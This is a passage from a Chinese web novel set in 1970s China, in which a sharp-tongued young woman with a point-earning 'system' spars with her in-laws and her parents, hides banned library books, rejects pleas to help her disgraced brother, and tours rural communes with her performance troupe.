何梅却在旁边说:“这孩子,我说她好多回了,叫她朴素些,她非不听,挣的那点工资全花在穿衣打扮上了。” 宋知南替宋湘说话:“打扮好看多好啊,总比灰头灰脸的好吧?再说了,你们家条件好,不差湘姐那点工资。” 大伯是药厂会计,工资不低,堂哥在建设兵团每月也有工资拿,他们家里四个挣工资的,条件算是非常不错了。 几人闲聊几句,何梅和宋自强就去厨房准备午饭,宋湘拉着两人到她房间。 宋知夏一进了宋湘的房间,忍不住连声赞叹:“哇,湘湘,你的衣裳好多了,这么多花布,还有缝纫机?” 宋知夏对缝纫机十分感兴趣,宋湘热心地教她。两人一个用心学,一个用心教,配合得十分默契。 半小时后,何梅喊她们出去吃饭。宋知夏都有些不舍地离开缝纫机。 宋湘主动说:“你以后有时间可以过来学。” “那太好了。” 宋知南也说:“我那里正好有布料,你拿过来给大姐的两个孩子做身衣裳,咱们下次过去正好拿给他们。” “没问题。” 三人出去吃饭,刚过完年,大家家里的存货还有不少,今天的菜就挺丰盛,有鱼有肉有蛋。何梅还拿出一瓶低度数的酒,给每人倒了一小杯。 酒过三巡,菜过五味之后,大家的话也多了起来。 何梅热情地招呼两人吃菜,拉着宋知南的手说道:“小南啊,以后记得常来。我其实可喜欢你俩了,就是以前跟你爸妈有点不对付,我们大人之间的事跟你们没关系。不管咋说,你大伯到底是你大伯。” 宋知南好歹也是个社会人,酒桌上的礼仪还是知道点的,便说道:“大伯母,我对你印象也不错。我小时候就特别羡慕湘湘姐,因为你不重男轻女,特别疼孩子。” 用李玉华的话说何梅特别护犊子,小时候宋秋实抢宋湘的东西,何梅扒了他的裤子就啪啪打屁股。当时妯娌俩差点干起来。 何梅笑着说:“都是我生的,我当然疼。我跟你妈可不一样。你这孩子哪哪都好,又聪明又能干,长得还好看。就是有一样不好,你投错了胎,你要是托生在我肚子里,你可就幸福了。像你这样的人才,要搁我们家,我得天天供着你。哪像你爸妈,净疼那些不中用的。我跟你讲,闺女能疼,儿子不能疼,儿子越疼越没用,就得狠狠使唤才行。” 宋自强:“……”这酒没喝多少,怎么醉成这样? 宋知南竖起大拇指大夸特夸:“大伯母,我以前竟没看出来,你是个人才呀。你的教育理念十分先进,领先了全国百分之八十的父母。你是我的知己呀,来来,咱俩走一个。咱们一回生二回熟,三回彼此挂心头。” 何梅脸上笑开了花:“哎哟,都领先别人那么多了。哈哈,来,走一个。” 宋自强和宋湘面面相觑,相视而笑,宋知夏也在旁边笑。 这顿饭吃得宾主尽欢,每一个人都很快乐很满意。 何梅酒量极浅,喝了两杯就醉醺醺的,偏偏她还很健谈。 宋知南倒还行,这种度数的酒,她还能再喝半瓶。 两人走出何梅家的时候,已经下午2点了,阳光明亮微暖。 宋知南跟宋知夏说:“一起说别人坏话,果然能增进彼此的友谊。你看,我跟大伯母说咱爸妈的坏话,我俩关系都变好了,而且还很快乐。” 宋知夏说:“可是我觉得在别人面前说爸妈坏话似乎不太好。” 宋知南:“那咋啦?他们也没少在别人面前说我坏话呀。家丑就得外扬,他们不让扬的是他们的丑,别人的短处他们说得比谁都多。” 宋知夏突然说道:“小南,你看咱俩的关系也慢慢变好了。你说咱妈有一天会不会也会变好?变得像大伯母疼湘湘那样疼咱们?” 宋知南摇头:“想得美,不可能。” 宋知夏不甘心地追问:“为啥就不可能呢?” 宋知南想了一会儿,说:“疼女儿的母亲是一开始就疼,不疼的基本上以后也不会疼。哪怕将来有一天她变了,那也不是出自她的本心,是因为她年纪大了,需要女儿照顾了。迟来的母爱就像雨后的伞一样,没有任何意义。我们得认命,承认这一生我们就是不可能得到父母的爱。认命了,你就平静了,就释然了。” “更何况,咱妈还有两个儿子,只要她儿子在,我们就只有两个选择,要么成为她儿子的血包,一辈子被他们吸血;要么就成为自私自利的白眼狼。在这两个选择之间徘徊犹豫的人会加倍的痛苦和煎熬。血供得不够父母不满意;血供得太多,自己奄奄一息。我呢,不再做任何挣扎,直接一步到位当‘白眼狼’。重男轻女的爸妈就得搭配白眼狼女儿,这是我们女人历经磨难摸索出来的最佳搭配。谁用谁知道,用过了都说好,没用的会吃亏到老。” 宋知夏若有所思,似有所悟。 宋知南见这个姐姐已经上道了,决定加大点力度。 宋知南语气轻快,妙语连珠:“二姐,你看咱俩这日子过得多好。咱们吃得好,穿得好,脸上还擦着雪花膏,我们都是社会主义好姑娘。咱要是没反抗,会一直像从前那样,吃不好穿不好,天天干活。既然已经革命了,就将革命进行到底,不能妥协不能后退更不能当两面派。” 宋知夏:“行,革命,我跟你一起革命。不过,我觉得你今天喝得有点多,你不会是发酒疯吧?” 宋知南白她一眼:“我不醉就不能发疯吗?”她发疯是常态,需要理由吗? “行行,你有理。以后大家都叫你宋有理。” 说到宋有理,宋知夏突然想起了什么,愤愤不平地说道:“我想起来了,还有一件事我忘了告诉你了。别人给咱们姐弟几个都起了绰号。” 宋知南很感兴趣:“你快说说,都是什么绰号?” 宋知夏咬牙说道:“秋实因为被剪掉了那啥,他们叫他宋一剪;他们说冬宝爱扒人裤子,就叫他宋一扒;至于我嘛,他们叫我宋一捏;你叫宋一刀。” 宋知南拍着大腿笑:“他大爷的,还挺会起。宋一刀,我送他们温柔一刀。” 宋知夏:“你还笑得出来,我一想起这事就生气。” 宋知南继续笑:“生活这么枯燥,能笑就笑。人生在世,就是笑笑别人,偶尔也被别人笑笑。” 宋知夏摇头:“可我实在笑不出来。” 两人边走边说话,路过人民广场时,宋知南看到上次给她传递消息的图书管理员李书悦,大冷天的,她就穿着一件破旧薄棉衣,在哆哆嗦嗦地扫地。她每扫一会儿就停下咳嗽几声。 宋知南跟宋知夏说声:“你站在这里等我一会儿。” 她大步走过去,从纸袋里拿出一盒感冒药和一瓶枇杷膏,往她簸箕里一放。 李书悦一看是宋知南,咳了几声刚想说话,宋知南指着簸箕说道:“你帮我把那个过期的药扔了。” 李书悦看四周无人,低声飞快地说道:“谢谢。” 宋知南没跟她多说,冲她点点头,转身离开了。 李书悦看着宋知南的背影,擦了擦湿润的眼角,低头把簸箕里的东西收起来。 宋知南回来后,宋知夏奇怪地问道:“你刚才干嘛去了?” 宋知南:“扔东西去了。你是回陈家还是去我家?” 宋知夏想了想说道:“我回陈家吧,我回去收拾一下东西,以后好跟湘湘学做衣裳。” “那行,咱们就在前面的路口分开吧。” 两人到了十字路口分开,各回各家。 回到家后,宋知南翻一下自己的衣柜,她有大姐做的新棉衣,旧棉衣用不着了。她把棉衣装在一个旧纸袋里,再次来到人民广场,趁人不注意把纸袋递给李书悦。 李书悦打开一看,吃了一惊,赶紧追上来小声说:“宋同学,这太贵重了,我不能要。” 宋知南笑着说:“这是我的旧棉衣,放着也是放着,先借给你穿。以后再还我。” 广场上人开始多起来。宋知南朝她点点头,快步离开了。 宋知南哼着歌儿往家走,做坏事让她快乐,做好事也让她快乐。她是一头善良的白眼狼。她手里有刀,但心中有佛。 第93章 宋知南和宋知夏刚在大伯家吃完饭, 大姐宋知春捎话说,让她俩有空过去吃饭。 宋知南想着, 她过年后还没去大姐家呢。前些日子大姐回娘家。结果她因为被炮仗声吵得没睡好,白天插上门补觉,睡得太香,宋冬宝敲门来喊她,她没起来,自然也没见到大姐。去就去吧,串完这次亲戚,她后面又该忙起来了。 宋知南和宋知夏商定这个星期天早上一起去大姐家,她把家里的一块花布拿给宋知夏:“你不是在跟湘湘姐学做衣裳吗?用这块花布给咱外甥女做个罩衣。” 宋知夏点头答应:“那行,我那儿还有一块卡其布,裁一块给咱外甥做件外套。” 春节过后, 天气一天比一天暖和, 风也不再像刀子似的, 割得人脸疼。阳光也有些暖意了。 宋知南憋了一个冬天,下班后喜欢在外面多晃悠一会儿。上班时, 她也能出去逛逛, 因为她要外出找采访素材。 这天上午,春风温柔,阳光温暖。 宋知南心情惬意地走在人民广场上。此时大家都在上班上学,广场上人不多。她找了个背风向阳的地方闭目养神晒太阳。 忽听得脚步声响起,宋知南睁眼一看,李书悦一边扫地一边向她这边移动。 李书悦见四周无人,便小声说:“谢谢你的药和棉衣, 枇杷膏很管用。” 宋知南说:“不用客气,那药也是别人送我的。你要注意身体。” 李书悦接着说道:“你喜欢看书, 也有藏书的地方?”上次那批有问题的书被宋知南搬走后,没听说出问题。 宋知南点头:“反正我藏的书没人找得到。” 李书悦说:“那太好了,我这儿还有一批藏书,我想交给你保存。书你随便看,如果将来哪天局势恢复正常了,你就把那些书还给图书馆。如果局势一直这样,你自己看着处理就行。” 宋知南点头答应:“没问题,我去哪里搬书?” 李书悦想了想说:“打扫你家那一片的清洁工生病了,我替代她几天。我每天天不亮就去打扫卫生,我趁着没人,会把书装进麻袋里扔到你的院子里。” 宋知南摇头:“麻袋太响,说不定会惊动左右邻居。而且还会摔坏书。我提前把院门打开,你趁着没人搬院里就行,我一听到动静就起来收好。” “好。” 两人说着话,有两个老头往这边走来。 李书悦赶紧说声:“我得走了。” 宋知南叫住她说:“李老师,你要好好保重身体,能挺住就是胜利,黑暗只是暂时的,黎明一定会来的。” “好!” 李书悦换个地方继续扫地,宋知南觉得晒够太阳了,就起身离开。 次日清晨四点,宋知南就起来把院门的插销打开,留下一条缝隙。 李书悦如约把一袋子书塞进门里,再若无其事地打扫卫生。 宋知南早上起来把书搬进屋里,先检查一遍,这些书里有外国文学名著,也有中国古典文学名著。大部分是图书馆的藏书,还有一小部分是私人藏书。 宋知南把书扔进空间里,只留下几本现在要看的。 此后,连着三天都是如此,李书悦扔书,宋知南起来搬运,两人配合默契,没出任何问题。 转眼间,到了星期天。宋知南和宋知夏按约定好的时间汇合。宋知南借了李群英家的自行车,宋知夏骑着陈家的自行车,两人一起朝大姐家骑去。 宋知南说道:“我今年得想办法弄辆自行车。” 宋知夏说:“我的目标是攒一台缝纫机,我喜欢做衣裳。” “咱们一起努力吧。” 两人一边比赛骑车一边大声说笑。 两人骑了两个半小时才到宋知春家。 宋知春看到两个妹妹一起来了,自然十分高兴。 两个孩子都在家,不用人吩咐就跑出来迎接两人。 “二姨,小姨。” 这俩孩子,男孩七岁,叫吴松;女孩子五岁半,叫吴桐。两人都养得白白胖胖的挺可爱。 大姐夫吴江也在家,听到声音忙出来打声招呼:“二妹三妹来了,快进来坐。” 吴家大嫂王青玲和婆婆牛菊花一听宋知南来了,探出头来看了一眼,又嗖地一下缩回去了。 缩回去就缩回去呗,缩了一会儿,两人又悄悄探出头来。 吴江见此情形十分尴尬,他特意告诉老母亲一声:“娘,小桐的二姨和小姨来了。” 你既然知道了,就大大方方地出来打声招呼呗,这探头探脑的算是什么事? 牛菊花不得不出来应付:“哎哟,她二姨小姨来了?我这眼神不太好,没看清楚,还以为是谁呢?” 王青玲一看婆婆出来了,转念一想,吴江也在家,这个宋知南应该不敢当着她姐夫的面怼她吧。她觉得她又行了。 王青玲假装大大方方地出来打招呼,还大方地端上来一小碟瓜子。 宋知春给两个妹妹倒上茶,端上点心瓜子,对婆婆和大嫂说:“娘,大嫂,我妹妹不是外人,你们不用招呼了,忙你们的去吧。”大过年的,可别再说些让人不爱听的糟心话。 两人像是没听见似的,就坐着不动。 宋知南也假装两人不存在,宋知夏正让两个孩子试穿新衣裳。 俩小娃有新衣裳穿,高兴得不得了。 吴松的那件外套,是仿照干部服做的,带四个兜。左胸前还绣着一颗五角星。把小朋友给美的不行,左看看右看看,越看越喜欢。 吴桐的那件是白底蓝花罩衣,中间还收了下腰,下面蓬蓬的像裙子似的。小姑娘十分喜欢,一直在转圈圈。 宋知夏在旁边说道:“小桐身上穿的花布是知南给的,这么好的布料我可弄不来。小松那件是陈安华做衣裳剩下的。” 俩孩子嘴也很甜:“谢谢二姨,谢谢小姨。” 宋知春既高兴又心疼,“这布多难攒呀,小孩子家穿那么好干吗?你们就该留着自己穿。” 宋知南说:“没事,我那儿还有呢。” 宋知夏也说:“大姐你就放心吧,我现在也有工作了,还跟湘湘学会了做衣裳,以后咱们不愁新衣裳穿。” 宋知春离娘家有点远,消息传得没那么及时,听到二妹的话不由得一脸诧异:“知夏,你说啥?你有工作了?啥工作啊?” 其他人也一齐目光炯炯地看着宋知夏,宋知夏说道:“在纺织厂的广播站工作,是知南帮忙弄进去的。” 众人的目光又刷地一下集中到宋知南身上。 王青玲和牛菊花有点难以置信,宋知南才上班多久,就有这么大能耐了? 她们随即想到,这个宋知南又是演讲又是写稿的,听说还弄了个什么文工队,他们这边的人都听说了。 两人都有些后悔,她们当初就不应该得罪这个宋知南,不过那也没啥吧,不过是争执了几句而已。她们这种亲戚关系,宋知南就应该帮她们。 王青玲抢先一步开口:“知南妹子,你可真有能耐啊。我娘家有个弟弟,工作还没着落呢,要不你给帮忙安排个工作?” 宋知春和吴江一脸无语地看着王青玲,这是咋张开的口? 宋知春刚要替妹妹回绝,宋知南阴阳怪气道:“王同志,你这就好比向河里泼一碗热水就想喝鱼汤,你可真敢想啊。” 杠精值加5。 王青玲闹了个大红脸,她自己给自己找台阶下:“你咋能这么说呢?我跟你大姐是亲妯娌,咱们是亲戚,亲戚帮亲戚不是应该的吗?” 牛菊花也替大儿媳妇说话:“可不是嘛,亲帮亲邻帮邻。” 吴江无奈地插话:“娘——” 宋知春冷笑道:“这会儿你们觉得咱们是亲戚了,上次来你们咋不这么想?还给我妹妹摆脸色呢。最后我们俩去邻居家吃的饭,这附近谁不知道?你们现在咋好意思让我妹帮忙?” 吴江两边哄两边劝。 宋知南直接轰人:“王同志,牛大娘,我跟我姐好久没见了,我们聊会天,你们二位请回去吧。” 婆媳两人被宋知南当面拒绝回怼,此刻又被人轰走,心里憋着一肚子气。 她们看向吴江,吴江既尴尬又心累。大嫂和娘实在太不体面了。 宋知春觉得吴江在这儿,影响她们姐妹几个发挥,便找了借口支开他:“大江,你带着孩子去买块豆腐。” 吴江只能起身带着俩孩子离开了。 王青玲和牛菊花觉着反正宋知南也不肯帮她们的忙,那还讨好她干吗? 索性放开了嘲讽吧,宋家可是浑身是痛处,她们随便一踩,宋家人都得痛得直叫唤。 王青玲先开枪:“哎呀小南,我听说你哥出事了?现在怎么样了?过年回来没有啊?”现在他们这边都知道宋秋实被一剪没的事了。 宋知南语气平淡:“嫂子,你这么关心我哥干什么?你该不会又想男人了吧。啧啧。” 杠精值加5。 王青玲急声辩白:“谁想他了?我就是问问,我撕烂你的嘴。” 宋知南:“哎呀,你看看你又急了,多大人了,一点也不稳重。” 王青玲毫无形象地大声嚷道:“谁不知道你哥是个太监。” 宋知南毫无波动:“是不是太监的跟你啥关系呀,咋地,你问这么细,难不成也想学我嫂子来个一剪没?” 杠精值加10。 宋知春听到自己弟弟被骂太监,也被惹急了,直接攻击王青玲:“你哥你弟才是太监。” 宋知南斩钉截铁地说:“已经是了,不信可以让他们证明一下。” 王青玲气哼哼地离开:“你们姐妹三个简直不可理喻,我不跟你们说了。” 王青玲离开,牛菊花接着战斗,她想挑个软柿子捏,就假装关切地问宋知夏:“知夏侄女,我听人说你把你男人的蛋给捏坏了?” 宋知夏诧异地反问:“大娘,你问这干啥?难不成你也捏过?你今天是想跟我交流经验?” 牛菊花:“我呸。我会跟你交流这破经验?我可丢不起这人。你们宋家的姑娘可真厉害,啥事都能干得出来。” 宋知夏嗤笑:“你们老牛家的人才是啥事都干得出来,一把年纪了,还装上纯了。你什么世面没见过呀,真是的。” 宋知南在旁边接道:“老太婆没牙,人家才是真的无耻;牛粪上插菊花,又黄又肮脏。” 第94章 牛菊花气得嘴唇颤抖, 一时接不过话来。 系统播报,杠精值加10, 编号002员工贡献10个杠精值。 宋知南:二姐成为她的手下了?大好事啊。她现在有两个手下了,一个是边月,她一跟她后妈渣爸杠,她这边就能收到杠精值。 现在又多了一个宋知夏。连宋知夏都是了,为什么宋冬宝不是呢?大概可能是宋冬宝不擅长抬杠,他比较喜欢动拳头。 宋知南正在兴头上,就听见牛菊花哇地一声哭了。 宋知夏无语地看着哇哇大哭的牛菊花,这一届老人不行啊,随便说几句怎么就哭了? 宋知春气得脸色一变,这刚过完年是干哈呢? 宋知南一看这情形,立即起身说道:“我懂了, 她是不想让我们留下来吃饭。行行, 我们现在就走, 走之前,我得在附近吆喝一圈, 给你们老吴家扬扬名。” 恰在这时候, 吴江带着俩孩子回来了,牛菊花一看到儿子就更委屈了,眼泪汪汪地说道:“大江啊,你两个小姨子欺负你老娘,你管不管?” 吴江无奈地说道:“娘,你多大年纪了,她俩才多大?你就不能让让她们吗?” 牛菊花:“……” 吴松和吴桐特别喜欢二姨和小姨, 毕竟她们不光给他俩带好吃的,还给他们做新衣裳。这个奶奶他们早就不喜欢了, 现在更不喜欢了。 两人小声商量一会儿,吴桐跑过来拉着牛菊花一本正经地劝道:“奶奶,大过年的,我两个姨姨来都来了,她们年纪还小又都不容易,你忍一忍就好了。” 空气突然安静下来。 众人:“……” 这些不都是他们经常说的话吗? 吴桐一脸得意地看着哥哥,她就说她聪明吧,这些话大人经常说,他们一定爱听。 宋知南摸摸吴桐的头,笑着说:“小桐真聪明真懂事,比那些活了几十年的人都懂事。” 说着,她瞥了一眼大姐夫,对宋知春说:“大姐,你这些年过得真不容易,我们在这里他们都这样。我们不在这里,他们得把你欺负成啥样啊。” 这一番话把吴江点得脸上火烧火燎的。 最终的结果是,吴江骑着自行车把老娘送到妹妹家去了。王青玲一看婆婆都狼狈败退了,自然更不敢出头,一直乖乖缩在屋里不出来。 宋知春家终于安静下来。宋知南没受任何影响,心情愉悦地吃完了这顿饭,宋知春本来有些心塞,一想到大嫂不敢露头,婆婆哭着走了,心情也变好了,姐妹三人有说有笑。 下午两点,宋知南和宋知夏告辞离开,路上还得骑两个多小时,她们得早点出发。 宋知春一家人把两人送出去。 4点半,两人到家,宋知南先去李家还自行车,回到家后,她摊开四肢躺平,今天还挺累的。 宋知夏有了工作后,按照之前约定好的,每月给宋知南上交三分之一的工资。这钱宋知夏交得心甘情愿,宋知南却想着,象征性的收几个月,以后就免了。 宋知夏这人说不上多好,但也算凑合,目前来看,挺懂事儿,有契约精神,勉强能处。 宋知南攒够钱和工业券,就买了辆永久牌自行车。她终于有自己的代步车了。之前要是硬买也能买,但是她的工资和工业券是固定的,别人一算就能算出来。 刚一上班就买大件,显得不太合理,再加上她上班的地方离家不远,用自行车的时候不多,她就打算等等再买,现在这个时机刚刚好。 宋知夏在宋湘的帮助下,花了六十块钱从服装厂买了一台二手缝纫机。 她嫌自己家房间太小,就干脆把缝纫机放在宋知南家,反正她经常过来,用着也方便。 宋知南再接再厉,又买了台收音机,现在姐妹俩攒齐了三大件。 宋知夏双手叉腰看着缝纫机和收音机,得意地说:“真没想到,竟然这么快就凑齐了三大件。” 宋知南说:“跟着我混,你肯定有好日子过。” 宋知夏面带笑容:“那是当然,也不看看我妹妹是谁。” 宋知夏现在有了工作,在婆家的地位直线上涨,在广播站跟同事相处得十分愉快,日子过得美滋滋的。 她有了钱,为人也变得大方起来,不再像以前那样小心算计。她时不时地改善下伙食,姐妹俩一个月胖了三斤,连带着黑米也跟着胖了一圈。 她俩的日子过得美滋滋的,但宋家那边却不怎么好。 宋秋实又来信了,说他本来以为那边没有熟人,没有人知道他的过往。但是他忽略了消息的传播速度。 他们那边的工人竟然也有亲戚在红星纺织厂。再加上过年期间,人们串亲访友,消息传播的速度比往常更快。那边的人也听说了他的名字和事迹。众人一对名字,再一看他又来自青阳红星纺织厂,人名地点全部对上了,他的事情很快就传开了,大家伙都用异样的目光看着他,不断地有人邀请他去公共浴室洗澡。 宋秋实现在度日如年、生不如死,他说他想再换个地方,换一个谁不认识他的地方。 可是宋秋实的这份工作是孙主席大发慈悲给他找的,他们家哪有这样的关系再帮他找一份工作?现在他只有两个选择,要么回家呆着,要么就留在那儿硬熬。 宋上进和李玉华一起劝宋秋实就留在那儿工作,至于别人的目光,别理会就是,时间长了,大家也就淡了。 这些事情是宋知夏告诉宋知南的,宋知南对此付之一笑。真是一失足成千古恨,再回头已无根。 如果宋秋实老老实实地在乡下呆着,过几年恢复高考,他可以考大学,就算考不上也能回城。 可他偏偏就想走捷径,想靠女人吃软饭。你吃软饭就好好吃也行,还想脚踏两条船,这山望着那山高。也不想想,你是在谁的地盘?结果遇到硬茬子了。现在嘛,他的余生只能在别人异样的目光中度过了。 时间冲淡了李玉华和宋上进的悲伤和痛苦,他们当初是在大儿子身上寄予了很高的期望,现在,他身上的“根”都没了,已经不是儿子了,也不能给宋家传宗接代了。两人的心就慢慢地收回来了,转而把重心放在了小儿子宋冬宝身上。 鉴于宋冬宝的重要性,两人开始对他严加管束,省得他再出什么意外。两人还盘算着,等宋冬宝再大几岁,就给他订亲,让他早早结婚生子。天有不测风云,人有旦夕福祸,要是宋冬宝再出点问题,他们家可就得绝后了。 宋秋实不停地写信和发电报催促父母帮忙想办法,李玉华和宋上进的回信越来越敷衍,到最后干脆不回了。 以前他们疼爱宋秋实时,宋秋实提出再无理的要求他们都会尽量满足,暂时满足不了也会写长信安慰,再寄钱寄粮票补偿。 现在,他们不再疼爱宋秋实了,看着他的信都有些烦。这孩子一点都不知道体谅父母,他就不能忍一忍吗? 宋秋实不得不面对一个残酷的真相:他被父母放弃了。他们天天说最疼他最看重他,结果呢,自己一出事,他们就把目光放在了弟弟身上。现在,更是连他的信都懒得回了。他难以接受这个真相,不停地写信发电报质问父母:为什么不管他? 宋知夏和宋冬宝把这事告诉宋知南,宋知南听罢,不由得眉头一皱,对两人说道:“再这样下去,宋秋实疯癫的可能性很大,你们俩以后见到他一定要小心。” 两人难以置信,异口同声地说:“不可能吧?” 宋知南仔细给两人分析:“一个人若是从没有得到过父母的爱,他一般会有执念;但是,若他得到过父母的重视和宠爱后再失去,这中间的巨大落差会让他发疯。就像一个人一直穷没事,反正穷习惯了。但若是富裕过再变穷,跳楼的可能性更大。这么说你们明白了吗?” 两人似懂非懂。 宋知南用同情的目光看着宋冬宝:“冬宝,以后爸妈会把所有的希望都寄托在你身上,你得到的宠爱会比以前的宋秋实还多。你以后尽量别刺激宋秋实,小心他把怨气发泄在你身上。” 宋冬宝吓得一激灵,“嗯嗯,我不刺激他。”还好大哥到隔壁省上班去了,要是在家里就麻烦了,他最好永远别回来。 又过了几天,宋知夏来宋知南家做衣服时说,“秋实打电话到国棉厂,跟爸说,他同事们排挤他嘲笑他,他一刻也不想呆了。还说如果爸妈不想办法给他调动工作,他就辞职回家。爸妈问咱俩能不能帮忙调动工作,我直接替你回绝了,我说小妹的本事还没那么大,能给他跨省调动工作。” 宋知南点头:“以后就这么回绝。”别说不能,就算能,她也不会帮忙。 宋知夏蹙着眉头:“你说他以后怎么办啊?真愁人。” 宋知南给宋知夏泼了一点凉水,让她清醒一下:“二姐,你就别替人家愁了。你想想,你被迫嫁人时,没工作时,在婆家受气时,有谁替你愁了吗?咱们女人啊,自己没人疼没人爱,没有任何依靠,心疼自己还疼不过来呢,还去管别人。” 宋知夏一想也是,她敢说,她痛苦难受的时候,宋秋实这个好弟弟一点都不会心疼她。他怎么会心疼自己呢?人家在家里是太子,她就是个丫鬟,太子会在乎丫鬟的死活吗? 宋知夏一边踩着缝纫机一边说:“你这么一说,我也不心疼秋实了,只是有点担心爸妈。” 宋知南继续泼冷水:“你就更不用担心人家,他们两人比你年纪大比你脸皮厚,还比你心硬。人家活了几十年,什么风雨没见过?你要相信他们,要舍得让他们受苦,这是对他们的锻炼。中年不吃苦,什么时候吃?难道等死了再吃吗?” 宋知夏看着妹妹无言以对。 她继续踩缝纫机,宋知南泼完冷水,回房间看书去了。 宋知南跟宋知夏说完这些,也就放下了。毕竟,宋秋实这种人也不值得她浪费情绪。 不想,第二天下班后,宋上进来找她了。 宋上进愁容满面,唉声叹气,他一见到宋知南就卖惨:“小南,你看看爸是不是看着比上次又老了许多?” 宋知南:“男人四十豆腐渣,你变老很正常,本身也长得一般,还没我大伯有气派呢。” 杠精值加5。 宋上进:“……” 他忍了再忍,还是没忍住:“小南,我听说你最近跟你大伯一家走得很近?你跟知夏总去他家吃饭?” 宋知南:“是呀,那咋啦?这跟你有什么关系呀。” 宋上进:“你大伯那人心眼多,你大伯是有名的铁公鸡,一毛不拔。我怕你吃亏。” 宋知南嘁了一声:“我大伯心眼多也没算计我,我大伯母铁公鸡还送我几根毛,倒是你俩,算计自己闺女算到骨髓里,你俩大方,倒是给我啥了?” 杠精值加10。 宋上进气得郁闷头晕,他真想掉头就走。可是……他想起今天来的目的,只好长长地舒了口气,尽量让面部表情变得温和:“小南,你哥来信了你知道吗?” 宋知南:“不知道,不关心,不在乎。你要没事就回吧。” 杠精值加5。 宋上进抽出其中一封信给宋知南:“你看看,你哥的事被他那边的同事知道了,大家都用异样的目光看着他,天天在背后议论他。你哥受不了。别说他受不了,这搁谁谁都受不了。他想再调换个工作,可是我跟你妈没本事,咱家就只有你有这个本事,你看看你都肯帮知夏,你能不能也帮帮秋实。你们毕竟是亲兄妹呀。” 宋知南接过信随便扫了几眼,信里跟宋知夏和宋冬宝说的差不多,无非就是要求家里赶紧给他调动工作,他要受不了,他快崩溃了。 宋知南看完信,面无表情地还给宋上进:“让他继续忍着吧,我爱莫能助。” 宋上进用恳求的语气说道:“小南,你就看在我跟你妈的面上帮帮你哥,算爸求你了行吗?” 宋知南:“不好意思,你跟我妈在我这儿一点面子都没有。求人不如求已,你求求自己吧。你就跟我哥回信说,咱家没那个条件,你让他面对现实。行啦,你可以回去了。我得吃晚饭了。” 宋上进软磨不行,只能换招,他又拿出一封信:“小南,你看看这封信再说。我只想告诉你,不要把人逼急了,否则咱们谁也落不了好。” 宋知南接过信一目十行,呵,这信写得潦草凌乱,而且前言不搭后语:“你们说我是你们最疼爱的儿子,可是现在你们敷衍我不理我,你们放弃了我,只喜欢冬宝。我恨你们。宋上进李玉华我恨你们,为什么要把我生下来,为什么你俩没本事。我更恨那个该死的宋冬宝,是他抢走了我的一切,还有那个最该死的宋知南,是她毁了我,是她彻底毁了我。我活不好,你们谁也别想活,我死也要拉着你们一起死!” 最后几行字是用红墨水写的,看着像血字似的,看着十分刺眼。 宋知南把信还给宋上进,摇头:“这个宋秋实快疯了,你让冬宝小心些吧。” 宋上瞪着宋知南:“宋知南,你就不怕吗?秋实落到今天这个现场,你脱不了干系。当初要是你肯下乡,他就不会出这种事,不出这种事,也不会落到这个地步。退一万步说,就算他出了这事,如果你不四处演讲,弄得人尽皆知,他也不会这么有名气,没有名气,离这么远,河西那边的人就不会知道这他的事。是你一步步把他推进深渊的。” 宋知南冷笑道:“我见过会甩锅的,没见你这么会甩的。是我教他吃软饭吗?是我教他吃软饭还脚踩两条船吗?脚踩两只船的下场就是会劈叉,就是扯着蛋。他被咔嚓,是偶然但也是必然。 你倒好自己儿子不好,不怪自己教不好,不怪儿子本身孬,就怪我这个妹妹身上。我看你也别叫宋上进了,你叫宋甩锅算了。” 杠精值加5。 宋知南赚够了杠精值,懒得再理会宋上进,直接把宋上进轰出去,砰地一声关上大门,插上插销,顿时世界清净了。 宋知南自言自语道:“以后我须得小心宋秋实,他快变成疯狗了。” 黑米似乎听到了狗字,抬头看了主人一眼。 宋知南对黑米说:“我没说你,我说是宋家的疯狗。” 第95章 宋知南决定加强自家的防御, 把武器重新摆放了一遍,沿着院墙里面再挖一条沟, 里面插上削尖的竹片,上面盖着草席再铺上一层土,谁要是翻墙进来,先扎烂他的脚。 大力丸再吃一颗,身体锻炼继续进行。近身打斗她不怕,半夜翻墙也不怕,有沟有狗还有武器。 同时,她还让宋知夏和宋冬宝随时告诉她宋秋实的消息,如果他回家了,更要及时通知她。 “你俩一定要小心,这家伙快疯了。” 宋冬宝有点紧张:“姐, 能不能别让大哥回来呀, 我本来没事, 你一说我都有些怕了。” 宋知南说:“他是一个大活人,我可管不了。没关系, 他打你, 你打回去就是,别怕。” 一切布置妥当,宋知南便把宋秋实抛到一边,该干啥干啥。 第二天上班时,贺主任对宋知南说,青阳市东郊有三个公社联合邀请她们文工队去演出。人家公社还可以派专车——拖拉机来接她们过去。 贺主任让宋知南去通知队员准备一下,明天上午十点出发。 宋知南说道:“专车就不用了, 我们现在有车队。那我回去准备了。” 宋知南临走前跟何黛打声招呼:“阿黛,我下乡演出去了, 回来给你带好吃的。” 何黛冲她挥手:“你去忙吧,路上小心。” 何黛羡慕地看着宋知南,人家的日子过得就是这么风生水起。其实宋知南也愿意带何黛出去溜达溜达,可是她们妇联办公室得有人值班。 宋知南先去宣传科通知李群英,再去广播室通知吴明珠和陆诗月,顺便提醒吴明珠两句:“明珠,咱们这次去乡下的公社演出,三个公社估计得去三天,中间有可能要住在老乡家里,你有可能会住不习惯,你要有心理准备。” 吴明珠说:“我没有那么娇气,你都能住,我肯定也能住。” 吴明珠想去,她看着陆诗月和宋知夏,语气犹豫:“诗月和知夏,你俩谁去呢?” 宋知夏摇头:“我就不去了,知南跟你们去,家里的猫狗得有人照顾,我留下来吧。” 陆诗月想了想说道:“知夏毕竟还是个新人,她一个人我不放心,我也留下来吧,下回我再去。” 吴明珠点头:“也行,那就这样吧。” 宋知南跟三人告辞,赶紧去通知牛春草母子,牛春草一听又有演出,一脸兴奋:“终于又有演出了,我早就闲得难受了。” 宋知南跟她商量:“牛姨,这次去公社演出需要三天,我弟弟冬宝生病了,去不了。咱们又少了个翠花姐,咱们的演员不够啊。” 牛春草说:“翠花临走前跟我打说过,她让我们隔壁的陈小云替代她。陈小云这人也挺不错。至于你弟嘛,就暂时让牛奔的发小大公鸡顶上。” 牛春草把陈小云带来,宋知南一看,这人比王翠花小几岁,读过小学,说话挺干脆利落。 至于大公鸡,人家本来姓宫,老家宝鸡,叫宫宝鸡,大家都叫他大公鸡。他人长得一般般,但挺擅长插科打诨逗乐子。 队员们准备妥当,骑上自行车载上道具和人,浩浩荡荡地朝东郊出发了。 星星之火在东郊三个公社的演出情况跟珠窝大队差不多,所到之处,受到大家的热烈欢迎。 临走那天,乡亲们夹道欢送。萝卜白菜荠菜送了几大筐。 